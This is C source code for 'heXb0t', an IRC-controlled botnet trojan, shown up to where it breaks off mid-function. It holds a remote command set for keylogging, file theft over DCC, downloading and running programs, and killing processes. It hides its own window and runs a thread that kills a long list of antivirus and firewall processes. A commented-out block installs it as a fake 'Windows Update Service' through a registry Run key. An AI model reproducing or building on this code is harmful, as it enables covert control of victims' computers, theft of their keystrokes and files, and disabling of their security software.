| ||||||||||||||||
|
heXb0t
by Nibble
See also the project folder
#include <windows.h>
#include <stdio.h>
#include <winsock.h>
#include <string.h>
#include <tlhelp32.h>
#include <wininet.h>
#include <small.h>
const char shost[] = "irc.undernet.org";
const char bhost[] = "irc.bolchat.org";
const int sPort = 6667;
const int bPort = 6666;
const char HomeChan [] = "#myb0tchan";
const char BacChan [] = "#secondchan";
const char ChanPass [] = "pass";
const char bPrefix [] = "[h3x]";
const char Botpwd [] = "pass";
const char bver [] = "heXb0t by Nibble";
//bot commands
//These commands u can send on pvt to b0t or on the HomeChan/BackChan.
const char Prefix [] = "."; //1
const char login_cmd [] = "login"; //2
const char op_cmd [] = "op"; //3
const char deop_cmd [] = "deop"; //4
const char v_cmd [] = "v"; //5
const char vn_cmd [] = "-v"; //6
const char kick_cmd [] = "kick"; //7
const char ban_cmd [] = "ban"; //8
const char unban_cmd [] = "unban"; //9
const char join_cmd [] = "join"; //10
const char logout_cmd [] = "logout"; //11
const char part_cmd [] = "part"; //12
const char hop_cmd [] = "hop"; //13
const char reco_cmd [] = "reconnect";//14
const char rndn_cmd [] = "rndnick"; //15
const char die_cmd [] = "die"; //16
const char raw_cmd [] = "raw"; //17
const char status_cmd [] = "status"; //18
const char dns_cmd [] = "dns"; //19
const char listf_cmd [] = "listf"; //20
const char dccget_cmd [] = "get"; //21
const char process_cmd [] = "listp"; //22
const char killp_cmd [] = "killp"; //23
const char listd_cmd [] = "listd"; //24
const char run_cmd [] = "run"; //25
const char md_cmd [] = "makedir"; //26
const char rd_cmd [] = "removedir"; //27
const char del_cmd [] = "del"; //28
const char ren_cmd [] = "ren"; //29
const char thr_cmd [] = "threads"; //30
const char killthr_cmd [] = "killthr"; //31
const char keylogg_cmd [] = "keyspy"; //32
const char keystop_cmd [] = "keystop"; //33
const char delay_cmd [] = "delay"; //34
const char download_cmd[] = "download"; //35
const char msg_cmd [] = "msg"; //36
const char notice_cmd [] = "notice"; //37
const short flood = 2600;
const char ok_cmd [] = "\2Operation Complete";
const char no_cmd [] = "\2Operation Error";
const char kdir [] = "C:\\";
const char kfilename [] = "Log.txt";
const char botmtx [] = "h3xb0t";
//-------------------------------
//Requests of this commands bot will send on HomeChan/BacChan
const char ver_cmd [] = "version";
const char sys_cmd [] = "sysinfo";
#define maxlogins 5
SOCKET create_sock(char *host, int port);
SOCKET keysock;
DWORD WINAPI dcc_getfile(LPVOID param);
DWORD WINAPI dcc_send(LPVOID param);
DWORD WINAPI irc_connect(LPVOID param);
DWORD WINAPI ListF(LPVOID param);
DWORD WINAPI ListP(LPVOID param);
DWORD WINAPI kill_av(LPVOID param);
DWORD WINAPI keylogger(LPVOID Param);
DWORD WINAPI Download(LPVOID Param);
void irc_send(SOCKET,char*);
void privmsg(SOCKET,char*,char*);
void Connect(char*,int);
void KillProcess(char Process[250],BOOL AV);
void ListD(SOCKET sock);
void Run(SOCKET,char*,char*,char*);
void ClearUsers(char*);
int Split(SOCKET,char*,char*);
int Check(char*);
int addthread(char*,SOCKET,HANDLE,int,char*);
int dccsenderror(SOCKET sock,char *chan,char *buf);
int sendkeys(SOCKET sock,char *buf,char *window,char *logfile);
int CheckMaster(char*);
int CheckNet();
int Write(HANDLE,char*);
char *DNS(char*);
char *cNick(char*);
char *cHost(char *);
char *rndnick(char*);
char *Command(char*);
char *sysinfo(char *sinfo);
unsigned __int64 cpuspeed(void);
unsigned __int64 cyclecount();
char logins[maxlogins][50]={0};
typedef struct ircs {
char host[64];
char rnick[16];
char chan[64];
char hchan[64];
char chpass[16];
int port;
int thdnum ;
SOCKET sock;
} ircs;
ircs mirc;
typedef struct lpt {
SOCKET sock;
char dir[64];
char who[32];
} lpt;
DWORD started,total, days, hours, minutes;
SOCKET dcchosts;
char who[64];
char dcchost[20];
char dccfilename[MAX_PATH];
char sendtochan[50];
int dccport;
SOCKET lsock;
char pwho[64];
char curchan[32];
char logfile[MAX_PATH];
int sendkeysto;
char keylogchan[50];
typedef struct threads_struct {
char name [250];
int id;
int num;
int port;
SOCKET sock;
HANDLE Threat_Handle;
char dir[MAX_PATH];
char file[MAX_PATH];
} thread;
typedef struct Down_struct {
SOCKET sock;
char web [64];
char Path[64];
char Run [12];
} Down;
Down Downs;
thread threads[40];
int killer_delay = 1000;
char *kill_list[]={
"ACKWIN32.EXE", "ADAWARE.EXE", "ADVXDWIN.EXE", "AGENTSVR.EXE", "AGENTW.EXE", "ALERTSVC.EXE", "ALEVIR.EXE", "ALOGSERV.EXE",
"AMON9X.EXE", "ANTI-TROJAN.EXE", "ANTIVIRUS.EXE", "ANTS.EXE", "APIMONITOR.EXE", "APLICA32.EXE", "APVXDWIN.EXE",
"ARR.EXE", "ATCON.EXE", "ATGUARD.EXE", "ATRO55EN.EXE", "ATUPDATER.EXE", "ATUPDATER.EXE", "ATWATCH.EXE", "AU.EXE",
"AUPDATE.EXE", "AUPDATE.EXE", "AUTODOWN.EXE", "AUTODOWN.EXE", "AUTOTRACE.EXE", "AUTOTRACE.EXE", "AUTOUPDATE.EXE",
"AUTOUPDATE.EXE", "AVCONSOL.EXE", "AVE32.EXE", "AVGCC32.EXE", "AVGCTRL.EXE", "AVGNT.EXE", "AVGSERV.EXE",
"AVGSERV9.EXE", "AVGUARD.EXE", "AVGW.EXE", "AVKPOP.EXE", "AVKSERV.EXE", "AVKSERVICE.EXE", "AVKWCTl9.EXE",
"AVLTMAIN.EXE", "AVNT.EXE", "AVP.EXE", "AVP32.EXE", "AVPCC.EXE", "AVPDOS32.EXE", "AVPM.EXE", "AVPTC32.EXE",
"AVPUPD.EXE", "AVPUPD.EXE", "AVSCHED32.EXE", "AVSYNMGR.EXE", "AVWIN95.EXE", "AVWINNT.EXE", "AVWUPD.EXE",
"AVWUPD32.EXE", "AVWUPD32.EXE", "AVWUPSRV.EXE", "AVXMONITOR9X.EXE", "AVXMONITORNT.EXE", "AVXQUAR.EXE",
"AVXQUAR.EXE", "BACKWEB.EXE", "BARGAINS.EXE", "BD_PROFESSIONAL.EXE", "BEAGLE.EXE", "BELT.EXE", "BIDEF.EXE",
"BIDSERVER.EXE", "BIPCP.EXE", "BIPCPEVALSETUP.EXE", "BISP.EXE", "BLACKD.EXE", "BLACKICE.EXE", "BLSS.EXE",
"BOOTCONF.EXE", "BOOTWARN.EXE", "BORG2.EXE", "BPC.EXE", "BRASIL.EXE", "BS120.EXE", "BUNDLE.EXE", "BVT.EXE",
"CCAPP.EXE", "CCEVTMGR.EXE", "CCPXYSVC.EXE", "CDP.EXE", "CFD.EXE", "CFGWIZ.EXE", "CFIADMIN.EXE", "CFIAUDIT.EXE",
"CFIAUDIT.EXE", "CFINET.EXE", "CFINET32.EXE", "CLAW95CF.EXE", "CLEAN.EXE", "CLEANER.EXE", "CLEANER3.EXE",
"CLEANPC.EXE", "CLICK.EXE", "CMD32.EXE", "CMESYS.EXE", "CMGRDIAN.EXE", "CMON016.EXE", "CONNECTIONMONITOR.EXE",
"CPD.EXE", "CPF9X206.EXE", "CPFNT206.EXE", "CTRL.EXE", "CV.EXE", "CWNB181.EXE", "CWNTDWMO.EXE", "Claw95.EXE",
"CLAW95CF.EXE", "DATEMANAGER.EXE", "DCOMX.EXE", "DEFALERT.EXE", "DEFSCANGUI.EXE", "DEFWATCH.EXE", "DEPUTY.EXE",
"DIVX.EXE", "DLLCACHE.EXE", "DLLREG.EXE", "DOORS.EXE", "DPF.EXE", "DPFSETUP.EXE", "DPPS2.EXE", "DRWATSON.EXE",
"DRWEB32.EXE", "DRWEBUPW.EXE", "DSSAGENT.EXE", "DVP95.EXE", "DVP95_0.EXE", "ECENGINE.EXE", "EFPEADM.EXE",
"EMSW.EXE", "ENT.EXE", "ESAFE.EXE", "ESCANH95.EXE", "ESCANHNT.EXE", "ESCANV95.EXE", "ESPWATCH.EXE", "ETHEREAL.EXE",
"ETRUSTCIPE.EXE", "EVPN.EXE", "EXANTIVIRUS-CNET.EXE", "EXE.AVXW.EXE", "EXPERT.EXE", "EXPLORE.EXE",
"F-AGNT95.EXE", "F-PROT.EXE", "F-PROT95.EXE", "F-STOPW.EXE", "FAMEH32.EXE", "FAST.EXE", "FCH32.EXE", "FIH32.EXE",
"FINDVIRU.EXE", "FIREWALL.EXE", "FLOWPROTECTOR.EXE", "FNRB32.EXE", "FP-WIN.EXE", "FP-WIN_TRIAL.EXE",
"FPROT.EXE", "FRW.EXE", "FSAA.EXE", "FSAV.EXE", "FSAV32.EXE", "FSAV530STBYB.EXE", "FSAV530WTBYB.EXE", "FSAV95.EXE",
"FSGK32.EXE", "FSM32.EXE", "FSMA32.EXE", "FSMB32.EXE", "GATOR.EXE", "GBMENU.EXE", "GBPOLL.EXE", "GENERICS.EXE",
"GMT.EXE", "GUARD.EXE", "GUARDDOG.EXE", "HACKTRACERSETUP.EXE", "HBINST.EXE", "HBSRV.EXE", "HOTACTIO.EXE",
"HOTPATCH.EXE", "HTLOG.EXE", "HTPATCH.EXE", "HWPE.EXE", "HXDL.EXE", "HXIUL.EXE", "IAMAPP.EXE", "IAMSERV.EXE",
"IAMSTATS.EXE", "IBMASN.EXE", "IBMAVSP.EXE", "ICLOAD95.EXE", "ICLOADNT.EXE", "ICMON.EXE", "ICSUPP95.EXE",
"ICSUPP95.EXE", "ICSUPPNT.EXE", "IDLE.EXE", "IEDLL.EXE", "IEDRIVER.EXE", "IEXPLORER.EXE", "IFACE.EXE",
"IFW2000.EXE", "INETLNFO.EXE", "INFUS.EXE", "INFWIN.EXE", "INIT.EXE", "INTDEL.EXE", "INTREN.EXE", "IOMON98.EXE",
"IPARMOR.EXE", "IRIS.EXE", "ISASS.EXE", "ISRV95.EXE", "ISTSVC.EXE", "JAMMER.EXE", "JDBGMRG.EXE", "JEDI.EXE",
"KAVLITE40ENG.EXE", "KAVPERS40ENG.EXE", "KAVPF.EXE", "KAZZA.EXE", "KEENVALUE.EXE", "KERIO-PF-213-EN-WIN.EXE",
"KERIO-WRL-421-EN-WIN.EXE", "KERIO-WRP-421-EN-WIN.EXE", "KERNEL32.EXE", "KILLPROCESSSETUP161.EXE",
"LAUNCHER.EXE", "LDNETMON.EXE", "LDPRO.EXE", "LDPROMENU.EXE", "LDSCAN.EXE", "LNETINFO.EXE", "LOADER.EXE",
"LOCALNET.EXE", "LOCKDOWN.EXE", "LOCKDOWN2000.EXE", "LOOKOUT.EXE", "LORDPE.EXE", "LSETUP.EXE", "LUALL.EXE",
"LUALL.EXE", "LUAU.EXE", "LUCOMSERVER.EXE", "LUINIT.EXE", "LUSPT.EXE", "MAPISVC32.EXE", "MCAGENT.EXE", "MCMNHDLR.EXE",
"MCSHIELD.EXE", "MCTOOL.EXE", "MCUPDATE.EXE", "MCUPDATE.EXE", "MCVSRTE.EXE", "MCVSSHLD.EXE", "MD.EXE", "MFIN32.EXE",
"MFW2EN.EXE", "MFWENG3.02D30.EXE", "MGAVRTCL.EXE", "MGAVRTE.EXE", "MGHTML.EXE", "MGUI.EXE", "MINILOG.EXE",
"MMOD.EXE", "MONITOR.EXE", "MOOLIVE.EXE", "MOSTAT.EXE", "MPFAGENT.EXE", "MPFSERVICE.EXE", "MPFTRAY.EXE",
"MRFLUX.EXE", "MSAPP.EXE", "MSBB.EXE", "MSBLAST.EXE", "MSCACHE.EXE", "MSCCN32.EXE", "MSCMAN.EXE", "MSCONFIG.EXE",
"MSDM.EXE", "MSDOS.EXE", "MSIEXEC16.EXE", "MSINFO32.EXE", "MSLAUGH.EXE", "MSMGT.EXE", "MSMSGRI32.EXE",
"MSSMMC32.EXE", "MSSYS.EXE", "MSVXD.EXE", "MU0311AD.EXE", "MWATCH.EXE", "N32SCANW.EXE", "NAV.EXE",
"AUTO-PROTECT.NAV80TRY.EXE", "NAVAP.NAVAPSVC.EXE", "NAVAPSVC.EXE", "NAVAPW32.EXE", "NAVDX.EXE",
"NAVENGNAVEX15.NAVLU32.EXE", "NAVLU32.EXE", "NAVNT.EXE", "NAVSTUB.EXE", "NAVW32.EXE", "NAVWNT.EXE",
"NC2000.EXE", "NCINST4.EXE", "NDD32.EXE", "NEOMONITOR.EXE", "NEOWATCHLOG.EXE", "NETARMOR.EXE", "NETD32.EXE",
"NETINFO.EXE", "NETMON.EXE", "NETSCANPRO.EXE", "NETSPYHUNTER-1.2.EXE", "NETSTAT.EXE", "NETUTILS.EXE",
"NISSERV.EXE", "NISUM.EXE", "NMAIN.EXE", "NOD32.EXE", "NORMIST.EXE", "NORTON_INTERNET_SECU_3.0_407.EXE",
"NOTSTART.EXE", "NPF40_TW_98_NT_ME_2K.EXE", "NPFMESSENGER.EXE", "NPROTECT.EXE", "NPSCHECK.EXE",
"NPSSVC.EXE", "NSCHED32.EXE", "NSSYS32.EXE", "NSTASK32.EXE", "NSUPDATE.EXE", "NT.EXE", "NTRTSCAN.EXE", "NTVDM.EXE",
"NTXconfig.EXE", "NUI.EXE", "NUPGRADE.EXE", "NUPGRADE.EXE", "NVARCH16.EXE", "NVC95.EXE", "NVSVC32.EXE",
"NWINST4.EXE", "NWSERVICE.EXE", "NWTOOL16.EXE", "OLLYDBG.EXE", "ONSRVR.EXE", "OPTIMIZE.EXE", "OSTRONET.EXE",
"OTFIX.EXE", "OUTPOST.EXE", "OUTPOST.EXE", "OUTPOSTINSTALL.EXE", "OUTPOSTPROINSTALL.EXE", "PADMIN.EXE",
"PANIXK.EXE", "PATCH.EXE", "PAVCL.EXE", "PAVPROXY.EXE", "PAVSCHED.EXE", "PAVW.EXE", "PCC2002S902.EXE",
"PCC2K_76_1436.EXE", "PCCIOMON.EXE", "PCCNTMON.EXE", "PCCWIN97.EXE", "PCCWIN98.EXE", "PCDSETUP.EXE",
"PCFWALLICON.EXE", "PCIP10117_0.EXE", "PCSCAN.EXE", "PDSETUP.EXE", "PENIS.EXE", "PERISCOPE.EXE", "PERSFW.EXE",
"PERSWF.EXE", "PF2.EXE", "PFWADMIN.EXE", "PGMONITR.EXE", "PINGSCAN.EXE", "PLATIN.EXE", "POP3TRAP.EXE", "POPROXY.EXE",
"POPSCAN.EXE", "PORTDETECTIVE.EXE", "PORTMONITOR.EXE", "POWERSCAN.EXE", "PPINUPDT.EXE", "PPTBC.EXE",
"PPVSTOP.EXE", "PRIZESURFER.EXE", "PRMT.EXE", "PRMVR.EXE", "PROCDUMP.EXE", "PROCESSMONITOR.EXE",
"PROCEXPLORERV1.0.EXE", "PROGRAMAUDITOR.EXE", "PROPORT.EXE", "PROTECTX.EXE", "PSPF.EXE", "PURGE.EXE",
"PUSSY.EXE", "PVIEW95.EXE", "QCONSOLE.EXE", "QSERVER.EXE", "RAPAPP.EXE", "RAV7.EXE", "RAV7WIN.EXE",
"RAV8WIN32ENG.EXE", "RAY.EXE", "RB32.EXE", "RCSYNC.EXE", "REALMON.EXE", "REGED.EXE", "REGEDIT.EXE", "REGEDT32.EXE",
"RESCUE.EXE", "RESCUE32.EXE", "RRGUARD.EXE", "RSHELL.EXE", "RTVSCAN.EXE", "RTVSCN95.EXE", "RULAUNCH.EXE",
"RUN32DLL.EXE", "RUNDLL.EXE", "RUNDLL16.EXE", "RUXDLL32.EXE", "SAFEWEB.EXE", "SAHAGENT.EXE", "SAVE.EXE",
"SAVENOW.EXE", "SBSERV.EXE", "SC.EXE", "SCAM32.EXE", "SCAN32.EXE", "SCAN95.EXE", "SCANPM.EXE", "SCRSCAN.EXE",
"SCRSVR.EXE", "SCVHOST.EXE", "SD.EXE", "SERV95.EXE", "SERVICE.EXE", "SERVLCE.EXE", "SERVLCES.EXE",
"SETUPVAMEEVAL.EXE", "SETUP_FLOWPROTECTOR_US.EXE", "SFC.EXE", "SGSSFW32.EXE", "SH.EXE",
"SHELLSPYINSTALL.EXE", "SHN.EXE", "SHOWBEHIND.EXE", "SMC.EXE", "SMS.EXE", "SMSS32.EXE", "SOAP.EXE", "SOFI.EXE",
"SPERM.EXE", "SPF.EXE", "SPHINX.EXE", "SPOLER.EXE", "SPOOLCV.EXE", "SPOOLSV32.EXE", "SPYXX.EXE", "SREXE.EXE",
"SRNG.EXE", "SS3EDIT.EXE", "SSGRATE.EXE", "SSG_4104.EXE", "ST2.EXE", "START.EXE", "STCLOADER.EXE", "SUPFTRL.EXE",
"SUPPORT.EXE", "SUPPORTER5.EXE", "SVC.EXE", "SVCHOSTC.EXE", "SVCHOSTS.EXE", "SVSHOST.EXE", "SWEEP95.EXE",
"SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE", "SYMPROXYSVC.EXE", "SYMTRAY.EXE", "SYSEDIT.EXE", "SYSTEM.EXE",
"SYSTEM32.EXE", "SYSUPD.EXE", "TASKMG.EXE", "TASKMO.EXE", "TASKMON.EXE", "TAUMON.EXE", "TBSCAN.EXE", "TC.EXE",
"TCA.EXE", "TCM.EXE", "TDS-3.EXE", "TDS2-98.EXE", "TDS2-NT.EXE", "TEEKIDS.EXE", "TFAK.EXE", "TFAK5.EXE", "TGBOB.EXE",
"TITANIN.EXE", "TITANINXP.EXE", "TRACERT.EXE", "TRICKLER.EXE", "TRJSCAN.EXE", "TRJSETUP.EXE", "TROJANTRAP3.EXE",
"TSADBOT.EXE", "TVMD.EXE", "TVTMD.EXE", "UNDOBOOT.EXE", "UPDAT.EXE", "UPDATE.EXE", "UPDATE.EXE", "UPGRAD.EXE",
"UTPOST.EXE", "VBCMSERV.EXE", "VBCONS.EXE", "VBUST.EXE", "VBWIN9X.EXE", "VBWINNTW.EXE", "VCSETUP.EXE", "VET32.EXE",
"VET95.EXE", "VETTRAY.EXE", "VFSETUP.EXE", "VIR-HELP.EXE", "VIRUSMDPERSONALFIREWALL.EXE", "VNLAN300.EXE",
"VNPC3000.EXE", "VPC32.EXE", "VPC42.EXE", "VPFW30S.EXE", "VPTRAY.EXE", "VSCAN40.EXE", "VSCENU6.02D30.EXE",
"VSCHED.EXE", "VSECOMR.EXE", "VSHWIN32.EXE", "VSISETUP.EXE", "VSMAIN.EXE", "VSMON.EXE", "VSSTAT.EXE",
"VSWIN9XE.EXE", "VSWINNTSE.EXE", "VSWINPERSE.EXE", "W32DSM89.EXE", "W9X.EXE", "WATCHDOG.EXE", "WEBDAV.EXE",
"WEBSCANX.EXE", "WEBTRAP.EXE", "WFINDV32.EXE", "WGFE95.EXE", "WHOSWATCHINGME.EXE", "WIMMUN32.EXE",
"WIN-BUGSFIX.EXE", "WIN32.EXE", "WIN32US.EXE", "WINACTIVE.EXE", "WINDOW.EXE", "WINDOWS.EXE", "WININETD.EXE",
"WININIT.EXE", "WININITX.EXE", "WINLOGIN.EXE", "WINMAIN.EXE", "WINNET.EXE", "WINPPR32.EXE", "WINRECON.EXE",
"WINSERVN.EXE", "WINSSK32.EXE", "WINSTART.EXE", "WINSTART001.EXE", "WINTSK32.EXE", "WINUPDATE.EXE",
"WKUFIND.EXE", "WNAD.EXE", "WNT.EXE", "WRADMIN.EXE", "WRCTRL.EXE", "WSBGATE.EXE", "WUPDATER.EXE", "WUPDT.EXE",
"WYVERNWORKSFIREWALL.EXE", "XPF202EN.EXE", "ZAPRO.EXE", "ZAPSETUP3001.EXE", "ZATUTOR.EXE", "ZONALM2601.EXE",
"ZONEALARM.EXE", "_AVP32.EXE", "_AVPCC.EXE", "_AVPM.EXE", "HIJACKTHIS.EXE", "F-AGOBOT.EXE",
"ANTI","VIRU","TROJA","AVP","NAV","RAV","REGED","NOD32","SPYBOT","ZONEA","VSMON","AVG","BLACKICE","FIREWALL","MSCONFIG",
"LOCKDOWN","F-PRO","MCAFEE","PROCESS","AWARE","REGISTRY","TASKMGR.EXE",'\0'
};
int inputL[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
105,
110,
};
char *outputL[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"`",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"[TAB]",
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"'",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
",",
".",
"/",
"\\",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[Pg Up]",
"[Del]",
"[End]",
"[Pg Dn]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
char *outputH[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"~",
"!",
"@",
"#",
"$",
"%",
"^",
"&",
"*",
"(",
")",
"_",
"+",
"[TAB]",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"{",
"}",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
":",
"\"",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"<",
">",
".?",
"|",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[Pg Up]",
"[Del]",
"[End]",
"[Pg Dn]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
int main()
{
WSADATA wsadata;
HANDLE Threat_Handle;
DWORD id;
DWORD err;
HMODULE hMe;
HKEY hKey;
DWORD nRet;
HWND stealth;
char cfilename[MAX_PATH];
char windir[MAX_PATH];
int c;
for (c=0;c < 40;c++)
threads[c].id = 0;
stealth = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
Threat_Handle = CreateThread(NULL, 0, &kill_av, NULL, 0, &id);
addthread("KillAV",0,Threat_Handle,1,"\0");
Threat_Handle = CreateThread(NULL, 0, &keylogger, NULL, 0, &id);
addthread("Keylogger",0,Threat_Handle,1,"\0");
started = GetTickCount() / 1000;
strcpy(mirc.host,shost);
strcpy(mirc.rnick,rndnick(mirc.rnick));
strcpy(mirc.chan ,HomeChan);
strcpy(mirc.chpass,ChanPass);
strcpy(mirc.hchan,BacChan);
mirc.port = sPort;
err = WSAStartup(MAKEWORD(2, 2), &wsadata);
if (err != 0) return 0;
if ( LOBYTE( wsadata.wVersion ) != 2 || HIBYTE( wsadata.wVersion ) != 2 ) {
WSACleanup();
return 0;
}
/*
hMe = GetModuleHandle(NULL);
nRet= GetModuleFileName(hMe, cfilename, 256);
GetWindowsDirectory(windir,sizeof(windir));
CreateMutex(NULL, FALSE, botmtx);
while (GetLastError() == ERROR_ALREADY_EXISTS) {
Sleep(6000);
}
if(!strstr(cfilename,windir))
{
strcat(windir,"\\services.exe");
CopyFile(cfilename,windir,TRUE);
RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
RegSetValueEx(hKey,"Windows Update Service",0,REG_SZ,windir,sizeof(windir));
RegCloseKey(hKey);
ShellExecute(0, "open",windir, NULL, NULL, SW_HIDE);
ExitProcess(0);
}
Sleep(30000);*/
irc_connect((void *)&mirc);
WSACleanup();
return 0;
}
void ClearUsers(char *User)
{
int i;
if(strlen(User) == 0)
{
for(i = 0;i < maxlogins;i++)
memset(logins[i],0,50);
}
else
{
for(i = 0;i < maxlogins;i++)
if(strcmp(logins[i],User) == 0)
memset(logins[i],0,50);
}
}
int CheckMaster(char *User)
{
int i;
for(i = 0;i < maxlogins;i++)
if(strcmp(logins[i],User) == 0)
return 1;
return 0;
}
char *DNS(char *what)
{
WORD sockVersion;
WSADATA wsaData;
HOSTENT *hostent = NULL;
IN_ADDR iaddr;
static char buffer[512];
DWORD addr = inet_addr(what);
memset(buffer,0,512);
sockVersion = MAKEWORD( 1, 0 );
if( WSAStartup( sockVersion, &wsaData ) != 0)return 0;
if (addr != INADDR_NONE)
{
hostent = gethostbyaddr((char *)&addr, sizeof(struct in_addr), AF_INET);
if (hostent != NULL) {
strcpy(buffer,hostent->h_name);
return buffer;
}
}
else
{
hostent = gethostbyname(what);
if (hostent != NULL) {
iaddr = *((LPIN_ADDR)*hostent->h_addr_list);
strcpy(buffer,inet_ntoa(iaddr));
return buffer;
}
}
if (hostent == NULL){
strcpy(buffer,"cant resolve adress");
return buffer;
}
strcpy(buffer,"Some error");
return buffer;
}
DWORD WINAPI irc_connect(LPVOID param)
{
SOCKET sock;
SOCKADDR_IN ssin;
DWORD err;
DWORD er;
int len;
int t;
int x;
char buf[512];
char buffer[512];
ircs irc;
ircs *ircp = (ircs *)param;
irc = *((ircs *)param);
Again:;
memset(&ssin, 0, sizeof(ssin));
sock = socket(AF_INET, SOCK_STREAM, 0);
ssin.sin_family = AF_INET;
ssin.sin_port = htons((short)irc.port);
ssin.sin_addr.s_addr = inet_addr(DNS(irc.host));
err = connect(sock, (LPSOCKADDR)&ssin, sizeof(SOCKADDR_IN));
if (err == SOCKET_ERROR) {
closesocket(sock);
Sleep(2000);
goto Again;
}
memset(buffer,0,512);
sprintf(buffer,"NICK %s\nUSER %s \"[h3x]\" \"%s\" :%s\n",irc.rnick,"[h3x]",irc.host,"Private b0t");
irc_send(sock,buffer);
x = 0;
while (1) {
memset(buffer,0,sizeof(buffer));
if((len = recv(sock, buffer,sizeof(buffer), 0))== SOCKET_ERROR)
goto Again;
for (t=0;t!=len;t++)
{
if (buffer[t] == '\r' || buffer[t] == '\n' ) {
if (x == 0) continue;
buf[x] = '\0';
er = Split(sock,buf,irc.rnick);
memset(buf,0,sizeof(buf));
x=0;
}
else {
buf[x] = buffer[t];
x++;
}
}
}
}
char *rndnick(char *strbuf)
{
int n, nl,prf;
char nick[33];
srand(GetTickCount());
memset(nick, 0, sizeof(nick));
prf = strlen(bPrefix);
nl = (rand()%4)+3;
for (n=0; n<nl; n++) nick[n] = (rand()%26)+97;
nick[n+1] = '\0';
strcpy(strbuf,bPrefix);
strncat(strbuf, nick,12 - prf);
return strbuf;
}
void irc_send(SOCKET sock, char *msg)
{
char msgbuf[512];
if(!strlen(msg))return;
memset(msgbuf, 0, sizeof(msgbuf));
sprintf(msgbuf, "%s\r\n", msg);
send(sock, msgbuf, strlen(msgbuf), 0);
}
void privmsg(SOCKET sock,char *msg,char *chan)
{
char buffer[512] = {0};
if (sock < 1) return;
if (chan)
sprintf(buffer,"PRIVMSG %s :%s\n",chan,msg);
else
sprintf(buffer,"%s\n",msg);
irc_send(sock,buffer);
}
int Split(SOCKET sock,char *line,char *mynick)
{
char *arg[32];
char nick[16];
char buffer[512] = {0};
char buff[512] = {0};
char command[32];
int i,t,sec;
DWORD id;
HANDLE Threat_Handle;
lpt lst;
arg[0] = strtok(line, " ");
for (i = 1; i < 32; i++) arg[i] = strtok(NULL, " ");
if (strcmp(arg[0],"PING") == 0)
// {
// arg[0][1] = 'O';
// sprintf(buffer,"%s %s",arg[0],arg[1]);
sprintf(buffer, "PONG %s", arg[1]);
// }
if (strcmp("376", arg[1]) == 0 || strcmp("422", arg[1]) == 0){
sprintf(buffer, "JOIN %s %s",HomeChan,ChanPass);
strcpy(curchan,HomeChan);
}
if (strcmp("432", arg[1]) == 0 || strcmp("433", arg[1]) == 0){
strcpy(buffer, "NICK ");
strcat(buffer,rndnick(nick));
irc_send(sock,buffer);
strcpy(mynick,buffer);
memset(buffer,0,512);
sprintf(buffer,"JOIN %s %s",HomeChan,ChanPass);
strcpy(curchan,HomeChan);
}
if(strncmp("47",arg[1],2)==0 &&
strcmp(arg[4],":Cannot")==0 ||
strncmp("46",arg[1],2)==0 &&
strcmp(arg[4],":Cannot")==0 ||
strncmp("48",arg[1],2)==0 &&
strcmp(arg[4],":Cannot")==0){
if(strcmp(BacChan,arg[3])==0)
Connect((char*)shost,sPort);
else
sprintf(buffer,"JOIN %s %s",BacChan,ChanPass);
strcpy(curchan,BacChan);
}
if((&arg[5][1]) != NULL){
if(strcmp("353",arg[1])==0
&& (strcmp(arg[4],HomeChan)==0
|| strcmp(arg[4],BacChan)==0 )
&& strncmp(&arg[5][1],"@",1) == 0)
sprintf(buffer,"MODE %s +ntsk %s",arg[4],Botpwd);
}
if(arg[2] != NULL && strcmp(arg[1],"PART") == 0 ||
strcmp(arg[1],"QUIT") == 0)
{
if(CheckMaster(cNick(arg[0]))
&& strcmp(arg[2],HomeChan) == 0
|| strcmp(arg[2],BacChan) == 0)
ClearUsers(cNick(arg[0]));
}
if(arg[3] != NULL)
{
if (strcmp(arg[3],":\1VERSION\1") == 0)
{
strcpy(nick,cNick(arg[0]));
sprintf(buffer,"PRIVMSG %s :\1VERSION %s\1",nick,
"mIRC v6.16 Khaled Mardam-Bey");
}
if (strcmp(arg[3],":\1PING") == 0 && arg[4] != NULL)
{
strcpy(nick,cNick(arg[0]));
sprintf(buffer,"PRIVMSG %s :\1PING %s",nick,arg[4]);
}
if(strcmp(arg[1],"KICK")==0)
{
